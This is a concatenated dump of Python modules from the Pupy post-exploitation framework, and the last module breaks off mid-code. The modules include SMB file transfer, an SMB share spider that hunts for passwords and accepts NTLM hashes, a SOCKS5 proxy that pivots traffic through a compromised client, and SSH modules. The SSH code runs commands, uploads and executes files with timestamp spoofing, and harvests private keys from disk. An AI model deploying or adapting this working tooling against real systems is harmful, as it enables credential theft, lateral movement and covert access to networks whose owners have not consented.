            '-P', '--port', default=445, type=int, help='Port'
        )
        cls.arg_parser.add_argument(
            '-p', '--password', default='', help='Password'
        )
        cls.arg_parser.add_argument(
            '-d', '--domain', default='', help='Domain'
        )
        cls.arg_parser.add_argument(
            '-H', '--hash', default='', help='NTLM hash'
        )
        cls.arg_parser.add_argument(
            '-T', '--timeout', default=30, type=int, help='Timeout'
        )
        cls.arg_parser.add_argument(
            '-c', '--codepage', default=None, help='Codepage'
        )

        cls.arg_parser.set_defaults(func=cls.help)

        commands = cls.arg_parser.add_subparsers(dest="command")

        cache = commands.add_parser('cache')
        cache.add_argument(
            'command', choices=('get', 'enable', 'disable', 'clear')
        )
        cache.set_defaults(func=cls.cache)

        cp = commands.add_parser('cp')
        cp.add_argument('src', help='Source')
        cp.add_argument('dst', help='Destination')
        cp.set_defaults(func=cls.cp)

        ls = commands.add_parser('ls')
        ls.add_argument('dst', help='Destination')
        ls.set_defaults(func=cls.ls)

        cat = commands.add_parser('cat')
        cat.add_argument('remote', help='Remote file (be careful!)')
        cat.set_defaults(func=cls.cat)

        rm = commands.add_parser('rm')
        rm.add_argument('dst', help='Destination')
        rm.set_defaults(func=cls.rm)

        mkdir = commands.add_parser('mkdir')
        mkdir.add_argument('dst', help='Destination')
        mkdir.set_defaults(func=cls.mkdir)

        rmdir = commands.add_parser('rmdir')
        rmdir.add_argument('dst', help='Destination')
        rmdir.set_defaults(func=cls.rmdir)

        shares = commands.add_parser('shares')
        shares.add_argument('host', help='Host')
        shares.set_defaults(func=cls.shares)

    def run(self, args):
        args.func(self, args)
        # try:
        #     args.func(self, args)
        # except SMBError, e:
        #     self.error(str(e))

    def help(self, args):
        self.log(self.arg_parser.format_usage())

    def cache(self, args):
        if args.command in ('enable', 'disable'):
            set_use_cache = self.client.remote(
                'pupyutils.psexec', 'set_use_cache', False
            )

            set_use_cache(args.command == 'enable')

        elif args.command == 'get':
            get_cache = self.client.remote(
                'pupyutils.psexec', 'get_cache', False
            )

            try:
                cache = get_cache()
                self.log(Table([{
                    'Host': host, 'User': user or '', 'Domain': domain or ''
                } for host, user, _, domain, _, _, _, _ in cache], [
                    'Host', 'User', 'Domain'
                ]))
            except Exception as e:
                self.error(e)

        elif args.command == 'clear':
            clear_session_caches = self.client.remote(
                'pupyutils.psexec', 'clear_session_caches', False
            )
            clear_session_caches()

    def get_ft(self, args, host):
        create_filetransfer = self.client.remote(
            'pupyutils.psexec', 'create_filetransfer', False)

        connection = None
        error = None

        connection, error = create_filetransfer(
            host, args.port,
            args.username, args.domain,
            args.password, args.hash,
            timeout=args.timeout
        )

        if error:
            raise SMBError(error)

        return connection

    def shares(self, args):
        host = args.host
        host = host.replace('\\', '//')
        if host.startswith('//'):
            host = host[2:]

        ft = self.get_ft(args, host)
        if not ft.ok:
            self.error(ft.error)
            return

        for share in obtain(ft.shares()):
            self.log(share)

        if not ft.ok:
            self.error(ft.error)

    def parse_netloc(self, line, partial=False, codepage=None):
        line = line.replace('\\', '/')
        if not line.startswith('//'):
            raise ValueError('Invalid network format')

        if codepage:
            line = line.encode(codepage, errors='replace')

        remote = line[2:].split('/')

        if partial:
            if len(remote) == 0:
                raise ValueError('Empty network specification')

            if not (remote[0]):
                raise ValueError('Host is empty')

            host = remote[0]
            if len(remote) > 1:
                share = remote[1]
            else:
                share = ''

            if len(remote) > 2:
                path = ntpath.normpath('\\'.join(remote[2:]))
                if remote[-1] == '':
                    path += '\\'
            else:
                path = ''

            return host, share, path

        else:
            if len(remote) < 3 or not all(remote[:2]):
                raise ValueError('Invalid network format')

            return remote[0], remote[1], ntpath.normpath('\\'.join(remote[2:]))

    def ls(self, args):
        try:
            host, share, path = self.parse_netloc(
                args.dst, partial=True, codepage=args.codepage
            )
        except Exception as e:
            self.error(e)
            return

        if not share:
            args.host = host
            self.shares(args)
            return

        if not path or path == '.' or path.endswith('\\'):
            path += '*'

        ft = self.get_ft(args, host)
        if not ft.ok:
            self.error(ft.error)
            return

        for name, directory, size, ctime in obtain(ft.ls(share, path)):
            if isinstance(name, bytes):
                if args.codepage:
                    name = name.decode(args.codepage, errors='replace')
                else:
                    name = name.decode('utf-8', errors='replace')

            self.log(u'%crw-rw-rw- %10d  %s %s' % (
                'd' if directory > 0 else '-', size,
                ctime, name))

        if not ft.ok:
            self.error(ft.error)

    def rm(self, args):
        try:
            host, share, path = self.parse_netloc(
                args.dst, codepage=args.codepage
            )
        except Exception as e:
            self.error(str(e))
            return

        ft = self.get_ft(args, host)
        if not ft.ok:
            self.error(ft.error)
            return

        ft.rm(share, path)
        if not ft.ok:
            self.error(ft.error)

    def mkdir(self, args):
        try:
            host, share, path = self.parse_netloc(
                args.dst, codepage=args.codepage
            )
        except Exception as e:
            self.error(str(e))
            return

        ft = self.get_ft(args, host)
        if not ft.ok:
            self.error(ft.error)
            return

        ft.mkdir(share, path)
        if not ft.ok:
            self.error(ft.error)

    def rmdir(self, args):
        try:
            host, share, path = self.parse_netloc(
                args.dst, codepage=args.codepage
            )
        except Exception as e:
            self.error(str(e))
            return

        ft = self.get_ft(args, host)
        if not ft.ok:
            self.error(ft.error)
            return

        ft.rmdir(share, path)
        if not ft.ok:
            self.error(ft.error)

    def cp(self, args):
        upload = False
        src = args.src.replace('\\', '/')
        dst = args.dst.replace('\\', '/')
        if dst.startswith('//'):
            upload = True
            remote = dst
            local = src
        elif src.startswith('//'):
            remote = src
            local = dst
        else:
            self.error(
                'Either src or dst should be network '
                r'share in (\\HOST\SHARE\PATH) format'
            )
            return

        try:
            host, share, path = self.parse_netloc(
                remote, codepage=args.codepage
            )
        except Exception as e:
            self.error(e)
            return

        local = os.path.expandvars(local)
        local = os.path.expanduser(local)

        ft = self.get_ft(args, host)

        if not ft.ok:
            self.error(ft.error)
            return

        if upload:
            if upload and not os.path.isfile(local):
                self.warning(
                    'Source file {} not found, '
                    'try upload remote file'.format(local)
                )
                ft.put(local, share, path)
            else:
                with open(local, 'rb') as source:
                    ft.put(source.read, share, path)
        else:
            with open(local, 'wb') as destination:
                ft.get(share, path, destination.write)

        if not ft.ok:
            self.error(ft.error)

    def cat(self, args):
        try:
            host, share, path = self.parse_netloc(
                args.remote, codepage=args.codepage
            )
        except Exception as e:
            self.error(e)
            return

        ft = self.get_ft(args, host)
        if not ft.ok:
            self.error(ft.error)
            return

        memobj = BytesIO()
        ft.get(share, path, memobj.write)

        if ft.ok:
            data = memobj.getvalue()
            if args.codepage:
                try:
                    data = data.decode(args.codepage)
                except:
                    pass

            self.log(data)
        else:
            self.error(ft.error)


================================================
FILE: pupy/modules/smbspider.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from netaddr import IPNetwork
from pupy.pupylib.utils.term import colorize
import os

__class_name__="SMBSpider"

@config(cat="admin")
class SMBSpider(PupyModule):

    """ walk through a smb directory and recursively search a string into files """

    dependencies = [
        'impacket', 'calendar', 'ntpath', 'pupyutils.smbspider'
    ]

    daemon=True
    max_clients=1

    @classmethod
    def init_argparse(cls):

        example = 'Examples:\n'
        example += '>> run smbspider 192.168.0.1 --pattern password --content\n'
        example += '>> run smbspider 192.168.0.1 -u john -p password1 pwd= -d WORKGROUP --content -e txt,ini\n'
        example += '>> run smbspider 172.16.0.20/24 -u john --pattern password.* -H \'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d\'\n'

        cls.arg_parser = PupyArgumentParser(prog="smbspider", description=cls.__doc__, epilog=example)
        cls.arg_parser.add_argument("-u", metavar="USERNAME", dest='user', default='', help="Username, if omitted null session assumed")
        cls.arg_parser.add_argument("-p", metavar="PASSWORD", dest='passwd', default='', help="Password")
        cls.arg_parser.add_argument("-H", metavar="HASH", dest='hash', default='', help='NTLM hash')
        cls.arg_parser.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)")
        cls.arg_parser.add_argument("-P", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default 445)")
        cls.arg_parser.add_argument("target", nargs=1, type=str, help="Target range or IP address")

        sgroup = cls.arg_parser.add_argument_group("Spidering shares", "Options for spidering shares")
        sgroup.add_argument("-s", metavar="SHARE", dest='share', default="all", help="Specify a share (default C$)")
        sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', default='.', type=str, help='Folder to spider (default: root directory)')
        sgroup.add_argument("--content", action='store_true', help='Enable file content searching')
        sgroup.add_argument("--pattern", nargs='+', help='Pattern(s) to search for in folders, filenames and file content')
        sgroup.add_argument('-e','--extensions',metavar='ext1,ext2,...', default='', help='Limit to some extensions')
        sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)')
        sgroup.add_argument('-m','--max-size', type=int, default=7000000, help='max file size in byte (default 7 Mo)')

    def run(self, args):

        if "/" in args.target[0]:
            hosts = IPNetwork(args.target[0])
        else:
            hosts = [args.target[0]]

        if not args.pattern:
            self.error('Specify the pattern to look for')
            return

        if args.extensions:
            args.extensions = tuple(f.strip() for f in args.extensions.split(','))

        # if not extension is provided for find commad, try to extract it to gain time during the research
        elif not args.content:
            args.extensions = tuple(os.path.splitext(s)[1].strip() for s in args.pattern)

        search_str = [s.lower() for s in args.pattern]

        self.info("Search started")
        smb = self.client.conn.modules["pupyutils.smbspider"].Spider(hosts, args.domain, args.port, args.user, args.passwd, args.hash, args.content, args.share, search_str, args.extensions, args.max_size, args.spider, args.depth)
        for files in smb.spider_all_hosts():
            # add color
            for s in search_str:
                if s in files:
                    files = files.replace(s, colorize(s,"green"))
            self.success("%s" % files)
        self.info("Search finished !")


================================================
FILE: pupy/modules/socks5proxy.py
================================================
# -*- coding: utf-8 -*-

# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

#RFC @https://www.ietf.org/rfc/rfc1928.txt

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser,
    QA_UNSTABLE
)

import sys
import threading
import socket
import logging
import struct
import traceback
import time

if sys.version_info.major > 2:
    from socketserver import (
        BaseRequestHandler, TCPServer,
        ThreadingMixIn
    )
else:
    from SocketServer import (
        BaseRequestHandler, TCPServer,
        ThreadingMixIn
    )

__class_name__ = 'Socks5Proxy'

CODE_SUCCEEDED = b'\x00'
CODE_GENERAL_SRV_FAILURE = b'\x01'
CODE_CONN_NOT_ALLOWED = b'\x02'
CODE_NET_NOT_REACHABLE = b'\x03'
CODE_HOST_UNREACHABLE = b'\x04'
CODE_CONN_REFUSED = b'\x05'
CODE_TTL_EXPIRED = b'\x06'
CODE_COMMAND_NOT_SUPPORTED = b'\x07'
CODE_ADDRESS_TYPE_NOT_SUPPORTED = b'\x08'
CODE_UNASSIGNED = b'\x09'


class SocketPiper(threading.Thread):
    def __init__(self, read_sock, write_sock):
        threading.Thread.__init__(self)
        self.daemon=True
        self.read_sock=read_sock
        self.write_sock=write_sock

    def run(self):
        try:
            self.read_sock.setblocking(0)
            while True:
                data = ''
                try:
                    data += self.read_sock.recv(1000000)
                    if not data:
                        break
                except Exception as e:
                    if e[0] == 9: #errno connection closed
                        break
                    if not data:
                        time.sleep(0.05)
                    continue
                self.write_sock.sendall(data)

        except Exception as e:
            logging.debug("error in socket piper: %s", traceback.format_exc())

        finally:
            try:
                self.write_sock.shutdown(socket.SHUT_RDWR)
            except:
                pass
            try:
                self.write_sock.close()
            except:
                pass
            try:
                self.read_sock.shutdown(socket.SHUT_RDWR)
            except:
                pass
            try:
                self.read_sock.close()
            except:
                pass
        logging.debug("piper finished")


class Socks5RequestHandler(BaseRequestHandler):
    def _socks_response(self, code, terminate=False):
        ip="".join([chr(int(i)) for i in self.server.server_address[0].split(".")])
        port=struct.pack("!H",self.server.server_address[1])
        self.request.sendall(b"\x05"+code+b"\x00"+b"\x01"+ip+port)
        if terminate:
            try:
                self.request.shutdown(socket.SHUT_RDWR)
            except:
                pass
            try:
                self.request.close()
            except:
                pass


    def handle(self):
        self.request.settimeout(5)
        VER = self.request.recv(1)
        NMETHODS = self.request.recv(1)

        self.request.recv(int(struct.unpack("!B",NMETHODS)[0]))

        """
        o  X'00' NO AUTHENTICATION REQUIRED
        o  X'01' GSSAPI
        o  X'02' USERNAME/PASSWORD
        o  X'03' to X'7F' IANA ASSIGNED
        o  X'80' to X'FE' RESERVED FOR PRIVATE METHODS
        o  X'FF' NO ACCEPTABLE METHODS
        """

        #for now only no authentication is supported :
        self.request.sendall(b"\x05\x00")
        VER=self.request.recv(1)
        if VER!=b"\x05":
            self.server.module.error("receiving unsuported socks version: %s"%VER.encode('hex'))
            self._socks_response(CODE_GENERAL_SRV_FAILURE, terminate=True)
            return

        CMD=self.request.recv(1)
        if CMD!=b"\x01": # we only support CONNECT for now
            self.server.module.error("receiving unsuported socks CMD: %s"%CMD.encode('hex'))
            self._socks_response(CODE_COMMAND_NOT_SUPPORTED, terminate=True)
            return

        self.request.recv(1)

        DST_ADDR=None
        DST_PORT=None
        ATYP=self.request.recv(1)
        if ATYP==b"\x01":
            DST_ADDR=".".join([str(ord(x)) for x in self.request.recv(4)])
            DST_PORT=struct.unpack("!H",self.request.recv(2))[0]
        elif ATYP==b"\x03":
            DOMAIN_LEN=int(struct.unpack("!B",self.request.recv(1))[0])
            DST_ADDR=self.request.recv(DOMAIN_LEN)
            DST_PORT=struct.unpack("!H",self.request.recv(2))[0]
        else: #TODO: ipv6
            self.server.module.error("atyp not supported: %s"%ATYP.encode('hex'))
            self._socks_response(CODE_ADDRESS_TYPE_NOT_SUPPORTED, terminate=True)
            return

        #now we have all we need, we can open the socket proxyfied through rpyc :)
        self.server.module.info("connecting to %s:%s ..."%(DST_ADDR,DST_PORT))
        rsocket_mod=self.server.rpyc_client.conn.modules.socket
        rsocket=rsocket_mod.socket(rsocket_mod.AF_INET,rsocket_mod.SOCK_STREAM)
        rsocket.settimeout(5)
        try:
            rsocket.connect((DST_ADDR, DST_PORT))
        except Exception as e:
            self.server.module.error("error %s connecting to %s:%s ..."%(str(e),DST_ADDR,DST_PORT))
            if e[0]==10060:
                self._socks_response(CODE_HOST_UNREACHABLE, terminate=True)
            else:
                self._socks_response(CODE_NET_NOT_REACHABLE, terminate=True)
            return
        self._socks_response(CODE_SUCCEEDED)
        self.server.module.success("connection to %s:%s succeed !"%(DST_ADDR,DST_PORT))

        #self.request.settimeout(30)
        #rsocket.settimeout(30)

        sp1=SocketPiper(self.request, rsocket)
        sp2=SocketPiper(rsocket, self.request)
        sp1.start()
        sp2.start()
        sp1.join()
        sp2.join()
        self.server.module.info("conn to %s:%s closed"%(DST_ADDR,DST_PORT))

class Socks5Server(TCPServer):
    allow_reuse_address = True

    def __init__(self, server_address, RequestHandlerClass, bind_and_activate=True, rpyc_client=None, module=None):
        self.rpyc_client=rpyc_client
        self.module=module
        TCPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate)

class ThreadedSocks5Server(ThreadingMixIn, Socks5Server):
    pass

@config(cat="network", tags=["pivot", "proxy"])
class Socks5Proxy(PupyModule):
    """ start a socks5 proxy going through a client """
    max_clients=1
    unique_instance=True
    daemon=True
    server=None

    qa = QA_UNSTABLE

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='socks5proxy', description=cls.__doc__)
        cls.arg_parser.add_argument('-p', '--port', default='1080')
        cls.arg_parser.add_argument('action', choices=['start','stop'])

    def stop_daemon(self):
        self.success("shuting down socks server ...")
        if self.server:
            self.server.shutdown()
            del self.server
            self.success("socks server shut down")
        else:
            self.error("server is None")

    def run(self, args):
        if args.action=="start":
            if self.server is None:
                self.success("starting server ...")
                self.server = ThreadedSocks5Server(("127.0.0.1", int(args.port)), Socks5RequestHandler, rpyc_client=self.client, module=self)
                t=threading.Thread(target=self.server.serve_forever)
                t.daemon=True
                t.start()
                self.success("socks5 server started on 127.0.0.1:%s"%args.port)
            else:
                self.error("socks5 server is already started !")
        elif args.action=="stop":
            if self.server:
                self.job.stop()
                del self.job
                self.success("socks5 server stopped !")
            else:
                self.error("socks5 server is already stopped")


================================================
FILE: pupy/modules/ssh.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser, REQUIRE_STREAM
from pupy.pupylib.PupyCompleter import path_completer
from pupy.pupylib.PupyOutput import Table, Color

from io import open
from os import path, makedirs, unlink, walk, stat
from stat import S_ISDIR
from errno import EEXIST

from threading import Event
from argparse import REMAINDER

__class_name__="SSH"


@config(cat='admin')
class SSH(PupyModule):
    """ ssh client """

    dependencies = [
        'nacl', 'bcrypt', 'ecdsa',
        'cryptography', 'paramiko', 'ssh',
        'puttykeys'
    ]

    closer = None
    waiter = None
    pkeys = None

    current_connection_info = {}

    io = REQUIRE_STREAM

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='ssh', description=cls.__doc__)
        cls.arg_parser.set_defaults(func=False)
        cls.arg_parser.add_argument('-T', '--timeout',
                                    type=int, default=30, help='Set communication timeout (default=30s)')
        cls.arg_parser.add_argument('-u', '--user', help='Use user name')
        cls.arg_parser.add_argument('-p', '--port', help='Use port')
        cls.arg_parser.add_argument('-P', '--password', default=[], action='append',
                                    help='SSH auth password (may be specified many times)')
        cls.arg_parser.add_argument('-KP', '--key-password', default=[], action='append',
                                    help='SSH key password (may be specified many times)')
        cls.arg_parser.add_argument('-k', '--private-keys', help='Use private keys (Use "," as path separator)',
                                    completer=path_completer)

        commands = cls.arg_parser.add_subparsers(dest='command')

        key_scan = commands.add_parser('scan')
        key_scan.add_argument('host', help='host(s) to connect')
        key_scan.add_argument(
            'key_type', choices=(
                'ssh-ed25519', 'ecdsa-sha2-nistp256', 'ecdsa-sha2-nistp384',
                'ecdsa-sha2-nistp521', 'ssh-rsa', 'ssh-dss'
            ), default=None, help='Key type to scan', nargs='?'
        )
        key_scan.set_defaults(func=cls.key_scan)

        rexec = commands.add_parser('exec')
        rexec.add_argument('host', help='host(s) to connect')
        rexec.add_argument(
            'command', nargs=REMAINDER, help='Command line to execute (non interactive)')
        rexec.set_defaults(func=cls.rexec)

        upload = commands.add_parser('upload')
        upload.add_argument('-t', '--relative-timestamp', default='/bin/sh',
                            help='Set creation time same as specified binary')
        upload.add_argument('-m', '--chmod', help='Set file mode')
        upload.add_argument('-o', '--chown', help='Set file owner')
        upload.add_argument('-E', '--execute', action='store_true', help='Execute file after upload')
        upload.add_argument('-U', '--unlink', action='store_true', help='Unlink file before & after upload')
        upload.add_argument('host', help='Remote host(s)')
        upload.add_argument('src_path', help='Upload file or directory')
        upload.add_argument('dst_path', help='Remote destination')
        upload.set_defaults(func=cls.upload)

        download = commands.add_parser('download')
        download.add_argument('-t', '--tar', action='store_true',
                              help='Use tar instead of cat (to download dirs)')
        download.add_argument('host', help='Remote host(s)')
        download.add_argument('src_path', help='Remote destination')
        download.add_argument('dst_path', nargs='?', help='Local destination (folder)')
        download.set_defaults(func=cls.download)

        hosts = commands.add_parser('hosts')
        hosts.add_argument('host', nargs='?', help='Show info for host')
        hosts.set_defaults(func=cls.hosts)

    def run(self, args):
        if args.func is False:
            self.log(self.arg_parser.format_help())
            return

        elif args.func == SSH.hosts:
            args.func(self, args)
            return

        if args.func != SSH.key_scan:
            if args.private_keys:
                self.pkeys = list(self._find_private_keys(args.private_keys))

            args.host = tuple([
                x.strip() for x in args.host.split(',')
            ])

            if args.port:
                args.port = int(args.port)

        self.waiter = Event()

        try:
            if args.func(self, args):
                self.waiter.wait()

        finally:
            self.closer = None

    def hosts(self, args):
        get_hosts = self.client.remote('ssh', 'ssh_hosts')
        records = get_hosts()

        if args.host:
            for user, hosts in records.items():
                for alias, host in hosts.items():
                    if args.host == alias or args.host == host.get('hostname'):
                        self.log(Table([{
                            'KEY':k, 'VALUE': ','.join(v) if type(v) == list else v
                        } for k,v in host.items()],
                        ['KEY', 'VALUE'], Color('{}, user={}'.format(alias, user), 'yellow')))

        else:
            for user, hosts in records.items():
                self.log(Table([{
                    'ALIAS':alias,
                    'USER':hosts[alias].get('user', user),
                    'HOST':hosts[alias]['hostname'],
                    'PORT':hosts[alias].get('port', 22),
                    'KEY':','.join(hosts[alias].get('identityfile', []))
                } for alias in hosts if 'hostname' in hosts[alias] and not alias == '*'],
                ['ALIAS', 'USER', 'HOST', 'PORT', 'KEY'], Color('User: {}'.format(user), 'yellow')))

    def _handle_on_data(self, args, data_cb, connect_cb=None, complete_cb=None):
        msg_type = args[0]
        if msg_type == 0:
            connected, host, port, user = args[1:]
            if connected:
                self.error('No credentials to auth to: {}{}:{}'.format(
                    user + '@' or '', host, port))
            else:
                self.error('Could not connect to {}:{}'.format(host, port))
        elif msg_type == 4:
            host, port, user, password, key_password, key, key_path, agent_socket, auto, cached = args[1:]
            key_info = ''

            if password:
                key_info = ' auth:password={}'.format(password)
            elif key_path:
                key_info = ' auth:key={}'.format(key_path)
            elif key:
                key_info = ' auth:key'
            elif agent_socket:
                key_info = ' auth:agent={}'.format(agent_socket)
            elif auto:
                key_info = ' auth:auto'

            if key_password:
                key_info += ' key_password={}'.format(key_password)

            if cached:
                key_info += ' [cached]'

            self.success('Connected to {}{}:{}{}'.format(
                user + '@' if user else '', host, port, key_info))

            self.current_connection_info.update({
                'host': host,
                'port': port,
                'user': user,
                'password': password,
                'key': key,
                'key_path': key_path,
                'auto': auto,
                'cached': cached,
             })
            if connect_cb:
                connect_cb()

        elif msg_type == 1:
            data_cb(args[1])
        elif msg_type == 3:
            self.error(args[1])
        elif msg_type == 2:
            self.current_connection_info.clear()
            if args[1] == 0:
                self.success('Completed')
                if complete_cb:
                    complete_cb(True)
            else:
                self.error('Completed with error={}'.format(args[1]))
                if complete_cb:
                    complete_cb(False)

    def key_scan(self, args):
        key_scan = self.client.remote('ssh', 'ssh_keyscan', False)

        def on_data(host, port, success, payload):
            if success is False:
                self.error('{}:{} - {}'.format(host, port, payload))
            elif success is None:
                # Print nothing
                # self.error('{}:{} - no connection'.format(host, port))
                pass
            else:
                name, fingerprint, publickey = payload
                self.success('{}:{} {} {} {}'.format(host, port, name, fingerprint, publickey))

        def on_complete(connectable):
            self.waiter.set()

        self.closer = key_scan(
            args.host, args.port, args.key_type, on_data, on_complete, args.timeout
        )

        return True

    def rexec(self, args):
        rexec = self.client.remote('ssh', 'ssh_exec', False)

        command = ' '.join(args.command)
        if not command:
            self.error('Command should not be empty')
            return

        def on_data(args):
            self._handle_on_data(args, self.stdout.write)

        self.closer = rexec(
            command,
            args.host, args.port, args.user, (
                tuple(args.password), tuple(args.key_password)),
            self.pkeys, on_data, self.waiter.set, args.timeout
        )

        return True

    def download(self, args):
        download_file = self.client.remote('ssh', 'ssh_download_file', False)
        download_tar = self.client.remote('ssh', 'ssh_download_tar', False)

        download = download_tar if args.tar else download_file

        filesdir = args.dst_path or self.client.pupsrv.config.get_folder(
            'downloads', {'%c': self.client.short_name()})

        current_file_obj = [None]

        def create_file_obj():
            folder_path = path.join(filesdir, 'ssh', '{user}-{host}-{port}'.format(
                **self.current_connection_info))

            try:
                makedirs(folder_path)
            except OSError as e:
                if e.errno != EEXIST:
                    raise

            file_name = args.src_path.strip('/').replace('/', '_')
            if args.tar:
                file_name += '.tgz'

            if file_name == '.tgz':
                file_name = 'rootfs.tgz'

            file_path = path.join(folder_path, file_name)
            if path.isfile(file_path):
                unlink(file_path)

            current_file_obj[0] = open(file_path, 'wb')

        def close_file_obj(ok):
            current_file_obj[0].close()
            if ok:
                self.success('Downloaded {} -> {}'.format(args.src_path, current_file_obj[0].name))
            else:
                unlink(current_file_obj[0].name)
                self.error('Downloaded {} -> {} <failed>'.format(args.src_path, current_file_obj[0].name))

        def write_file_obj(data):
            current_file_obj[0].write(data)

        def on_data(args):
            self._handle_on_data(args, write_file_obj, create_file_obj, close_file_obj)

        self.closer = download(
            args.src_path,
            args.host, args.port, args.user, (
                tuple(args.password), tuple(args.key_password)), self.pkeys,
            on_data, self.waiter.set, args.timeout
        )

        return True

    def upload(self, args):
        upload_file = self.client.remote('ssh', 'ssh_upload_file', False)

        input_stat = stat(args.src_path)

        if S_ISDIR(input_stat.st_mode):
            self.error('Directory upload is not supported. Use tar (manually)')
            return

        input_obj = open(args.src_path, 'rb')

        def on_complete(success):
            input_obj.close()

        def on_data(args):
            self._handle_on_data(args, self.stdout.write, complete_cb=on_complete)

        self.closer = upload_file(
            input_obj.read, args.dst_path,
            args.chmod or (input_stat.st_mode & 0o777),
            args.relative_timestamp, args.chown, args.execute, args.unlink,
            args.host, args.port, args.user, (
                tuple(args.password), tuple(args.key_password)), self.pkeys,
            on_data, self.waiter.set, args.timeout
        )

        return True

    def interrupt(self):
        if self.closer is not None:
            self.closer()
            self.closer = None

        if self.waiter:
            self.waiter.set()

    def _find_private_keys(self, fpath):
        if path.isfile(fpath):
            try:
                with open(fpath) as content:
                    yield content.read()

            except OSError:
                pass

            return

        for root, _, files in walk(fpath):
            for sfile in files:
                try:
                    sfile_path = path.join(root, sfile)
                    with open(sfile_path) as content:
                        first_line = content.readline(256)
                        if 'PRIVATE KEY-----' in first_line:
                            yield first_line + content.read()

                except (OSError, IOError):
                    pass


================================================
FILE: pupy/modules/sshell.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from argparse import REMAINDER

from io import open
from os import path, environ, walk

if sys.version_info.major > 2:
    from urllib.parse import urlparse
else:
    from urlparse import urlparse

from pupy.network.lib.rpc import nowait

from pupy.pupylib.PupyCompleter import path_completer
from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser,
    REQUIRE_TERMINAL
)

__class_name__="SSHell"
@config(cat='admin')
class SSHell(PupyModule):
    """
        Interactive SSH shell
    """

    rec = 'ttyrec'

    io = REQUIRE_TERMINAL

    dependencies = [
        'paramiko', 'cryptography', 'ecdsa', 'ssh'
    ]

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(description=cls.__doc__)
        cls.arg_parser.add_argument('-T', '--timeout',
                                    type=int, default=30, help='Set communication timeout (default 30s)')
        cls.arg_parser.add_argument('-R', default='asciinema', dest='recorder',
                                         choices=['ttyrec', 'asciinema', 'asciinema1', 'none'],
                                         help="Change tty recorder")
        cls.arg_parser.add_argument('-u', '--user', help='Use user name')
        cls.arg_parser.add_argument('-p', '--port', type=int, help='Use port')
        cls.arg_parser.add_argument('-P', '--passwords',
                                    action='append', default=[],
                                    help='Use SSH auth password (can specify many times)')
        cls.arg_parser.add_argument('-KP', '--key-passwords',
                                    action='append', default=[],
                                    help='Use SSH key password (can specify many times)')
        cls.arg_parser.add_argument('-k', '--private-keys', help='Use private keys (Use "," as path separator)',
                                    completer=path_completer)
        cls.arg_parser.add_argument('host', help='host to connect')
        cls.arg_parser.add_argument('program', nargs=REMAINDER, help='Execute in remote SSH session shell')

    def init(self, args):
        if args.recorder == 'none':
            self.rec = None
        else:
            self.rec = args.recorder

        PupyModule.init(self, args)

    def run(self, args):
        if 'linux' not in sys.platform:
            raise NotImplementedError('Interactive shell is not supported for this platform')

        # Hooks

        # self.stdout may be mapped to self.iogroup.stdout via logger
        # TODO: Logger refactoring - migrate to IOGroup?

        term = environ.get('TERM', 'xterm')

        ssh_interactive = self.client.remote('ssh', 'ssh_interactive', False)

        h, w, hp, wp = self.iogroup.window_size

        host = args.host

        if '://' not in host:
            host = 'ssh://' + host

        uri = urlparse(host)
        host = uri.hostname
        port = args.port or uri.port or 22
        user = args.user or uri.username
        u_pwd = [uri.password] if uri.password else []
        passwords = (args.passwords or tuple(u_pwd),
                    tuple(args.key_passwords))
        program = ' '.join(args.program) or None

        exit_status = [-1]

        private_keys = None
        if args.private_keys:
            private_keys = tuple(list(self._find_private_keys(args.private_keys)))

        def write(data):
            if not self.iogroup.closed:
                self.stdout.write(data)

        def local_close(iogroup):
            iogroup.close()

        def remote_close(remote_exit_status):
            exit_status[0] = remote_exit_status
            self.iogroup.close()

        try:
            attach, writer, resizer, closer = ssh_interactive(
